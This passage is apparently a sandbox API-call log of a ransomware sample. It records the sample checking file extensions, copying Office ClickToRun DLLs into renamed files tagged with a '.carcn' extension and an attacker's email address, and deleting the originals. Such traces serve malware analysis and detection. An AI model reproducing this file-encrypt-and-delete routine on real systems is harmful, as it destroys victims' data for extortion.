lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.897] lstrlenW (lpString=".xls") returned 4 [0291.897] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.897] lstrlenW (lpString=".xlsx") returned 5 [0291.897] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0291.897] lstrlenW (lpString=".ppt") returned 4 [0291.897] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.897] lstrlenW (lpString=".zip") returned 4 [0291.898] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.898] lstrlenW (lpString=".rar") returned 4 [0291.898] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.898] lstrlenW (lpString=".bz2") returned 4 [0291.898] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.898] lstrlenW (lpString=".7z") returned 3 [0291.898] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.898] lstrlenW (lpString=".dbf") returned 4 [0291.898] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.898] lstrlenW (lpString=".1cd") returned 4 [0291.898] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.898] lstrlenW (lpString=".jpg") returned 4 [0291.898] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.898] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.898] lstrlenW (lpString=".doc") returned 4 [0291.898] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0291.898] lstrlenW (lpString=".docx") returned 5 [0291.898] lstrcmpiW (lpString1=".docx", lpString2="1.dll") returned -1 [0291.898] lstrlenW (lpString=".pdf") returned 4 [0291.898] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0291.898] lstrlenW (lpString=".xls") returned 4 [0291.898] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0291.898] lstrlenW (lpString=".xlsx") returned 5 [0291.898] lstrcmpiW (lpString1=".xlsx", lpString2="1.dll") returned -1 [0291.899] lstrlenW (lpString=".ppt") returned 4 [0291.899] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0291.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.899] lstrlenW (lpString=".zip") returned 4 [0291.899] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0291.899] lstrlenW (lpString=".rar") returned 4 [0291.899] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0291.899] lstrlenW (lpString=".bz2") returned 4 [0291.899] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0291.899] lstrlenW (lpString=".7z") returned 3 [0291.899] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0291.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.899] lstrlenW (lpString=".dbf") returned 4 [0291.899] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0291.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.899] lstrlenW (lpString=".1cd") returned 4 [0291.899] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0291.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-processthreads-l1-1-1.dll") returned 99 [0291.899] lstrlenW (lpString=".jpg") returned 4 [0291.899] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0291.899] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0291.899] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35 [0291.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0291.900] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=18624) returned 1 [0291.900] CloseHandle (hObject=0x358) returned 1 [0291.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x20 [0291.900] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0291.900] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0291.901] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.901] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0291.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0291.901] GetLastError () returned 0x0 [0291.901] ReadFile (in: hFile=0x358, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x48c0, lpOverlapped=0x0) returned 1 [0292.133] WriteFile (in: hFile=0x35c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x48d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x48d0, lpOverlapped=0x0) returned 1 [0292.135] ReadFile (in: hFile=0x358, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.135] WriteFile (in: hFile=0x35c, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x11a, lpOverlapped=0x0) returned 1 [0292.135] SetEndOfFile (hFile=0x35c) returned 1 [0292.135] CloseHandle (hObject=0x35c) returned 1 [0292.135] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.135] SetEndOfFile (hFile=0x358) returned 1 [0292.136] CloseHandle (hObject=0x358) returned 1 [0292.136] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.229] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll")) returned 1 [0292.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.230] lstrlenW (lpString=".doc") returned 4 [0292.230] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.230] lstrlenW (lpString=".docx") returned 5 [0292.230] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.230] lstrlenW (lpString=".pdf") returned 4 [0292.230] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.230] lstrlenW (lpString=".xls") returned 4 [0292.230] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.230] lstrlenW (lpString=".xlsx") returned 5 [0292.230] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.230] lstrlenW (lpString=".ppt") returned 4 [0292.230] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.230] lstrlenW (lpString=".zip") returned 4 [0292.230] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.230] lstrlenW (lpString=".rar") returned 4 [0292.230] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.230] lstrlenW (lpString=".bz2") returned 4 [0292.230] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.230] lstrlenW (lpString=".7z") returned 3 [0292.230] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.230] lstrlenW (lpString=".dbf") returned 4 [0292.230] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.230] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.230] lstrlenW (lpString=".1cd") returned 4 [0292.230] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.231] lstrlenW (lpString=".jpg") returned 4 [0292.231] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.231] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.231] lstrlenW (lpString=".doc") returned 4 [0292.231] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.231] lstrlenW (lpString=".docx") returned 5 [0292.231] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.231] lstrlenW (lpString=".pdf") returned 4 [0292.231] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.231] lstrlenW (lpString=".xls") returned 4 [0292.231] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.231] lstrlenW (lpString=".xlsx") returned 5 [0292.231] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.231] lstrlenW (lpString=".ppt") returned 4 [0292.231] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.232] lstrlenW (lpString=".zip") returned 4 [0292.232] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.232] lstrlenW (lpString=".rar") returned 4 [0292.232] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.232] lstrlenW (lpString=".bz2") returned 4 [0292.232] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.232] lstrlenW (lpString=".7z") returned 3 [0292.232] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.232] lstrlenW (lpString=".dbf") returned 4 [0292.232] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.232] lstrlenW (lpString=".1cd") returned 4 [0292.232] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.232] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-timezone-l1-1-0.dll") returned 93 [0292.232] lstrlenW (lpString=".jpg") returned 4 [0292.232] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.232] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.232] lstrlenW (lpString="api-ms-win-crt-filesystem-l1-1-0.dll") returned 36 [0292.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0292.233] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=20672) returned 1 [0292.233] CloseHandle (hObject=0x350) returned 1 [0292.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0292.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0292.234] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.234] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0292.235] GetLastError () returned 0x0 [0292.235] ReadFile (in: hFile=0x350, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x50c0, lpOverlapped=0x0) returned 1 [0292.249] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x50d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x50d0, lpOverlapped=0x0) returned 1 [0292.251] ReadFile (in: hFile=0x350, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.251] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x11c, lpOverlapped=0x0) returned 1 [0292.251] SetEndOfFile (hFile=0x360) returned 1 [0292.251] CloseHandle (hObject=0x360) returned 1 [0292.251] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.251] SetEndOfFile (hFile=0x350) returned 1 [0292.252] CloseHandle (hObject=0x350) returned 1 [0292.252] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.253] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 1 [0292.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.253] lstrlenW (lpString=".doc") returned 4 [0292.253] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.253] lstrlenW (lpString=".docx") returned 5 [0292.253] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.253] lstrlenW (lpString=".pdf") returned 4 [0292.253] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.253] lstrlenW (lpString=".xls") returned 4 [0292.253] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.253] lstrlenW (lpString=".xlsx") returned 5 [0292.253] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.253] lstrlenW (lpString=".ppt") returned 4 [0292.253] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.253] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.254] lstrlenW (lpString=".zip") returned 4 [0292.254] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.254] lstrlenW (lpString=".rar") returned 4 [0292.254] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.254] lstrlenW (lpString=".bz2") returned 4 [0292.254] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.254] lstrlenW (lpString=".7z") returned 3 [0292.254] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.254] lstrlenW (lpString=".dbf") returned 4 [0292.254] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.254] lstrlenW (lpString=".1cd") returned 4 [0292.254] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.254] lstrlenW (lpString=".jpg") returned 4 [0292.254] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.254] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.254] lstrlenW (lpString=".doc") returned 4 [0292.254] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0292.254] lstrlenW (lpString=".docx") returned 5 [0292.254] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1 [0292.254] lstrlenW (lpString=".pdf") returned 4 [0292.254] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0292.254] lstrlenW (lpString=".xls") returned 4 [0292.254] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0292.254] lstrlenW (lpString=".xlsx") returned 5 [0292.254] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1 [0292.255] lstrlenW (lpString=".ppt") returned 4 [0292.255] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0292.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.255] lstrlenW (lpString=".zip") returned 4 [0292.255] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0292.255] lstrlenW (lpString=".rar") returned 4 [0292.255] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0292.255] lstrlenW (lpString=".bz2") returned 4 [0292.255] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0292.255] lstrlenW (lpString=".7z") returned 3 [0292.255] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0292.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.255] lstrlenW (lpString=".dbf") returned 4 [0292.255] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0292.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.255] lstrlenW (lpString=".1cd") returned 4 [0292.255] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0292.255] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll") returned 94 [0292.255] lstrlenW (lpString=".jpg") returned 4 [0292.255] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0292.255] lstrcmpiW (lpString1=".dll", lpString2=".carcn") returned 1 [0292.255] lstrlenW (lpString="api-ms-win-crt-locale-l1-1-0.dll") returned 32 [0292.255] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0292.256] GetFileSizeEx (in: hFile=0x350, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=19136) returned 1 [0292.256] CloseHandle (hObject=0x350) returned 1 [0292.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0292.256] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0292.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0292.256] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.256] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.256] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0292.257] GetLastError () returned 0x0 [0292.257] ReadFile (in: hFile=0x350, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x4ac0, lpOverlapped=0x0) returned 1 [0292.270] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x4ad0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x4ad0, lpOverlapped=0x0) returned 1 [0292.271] ReadFile (in: hFile=0x350, lpBuffer=0x4179020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0292.271] WriteFile (in: hFile=0x360, lpBuffer=0x4179020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x4179020*, lpNumberOfBytesWritten=0x377fc94*=0x114, lpOverlapped=0x0) returned 1 [0292.271] SetEndOfFile (hFile=0x360) returned 1 [0292.272] CloseHandle (hObject=0x360) returned 1 [0292.272] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0292.272] SetEndOfFile (hFile=0x350) returned 1 [0292.273] CloseHandle (hObject=0x350) returned 1 [0292.273] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x20) returned 1 [0292.273] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft 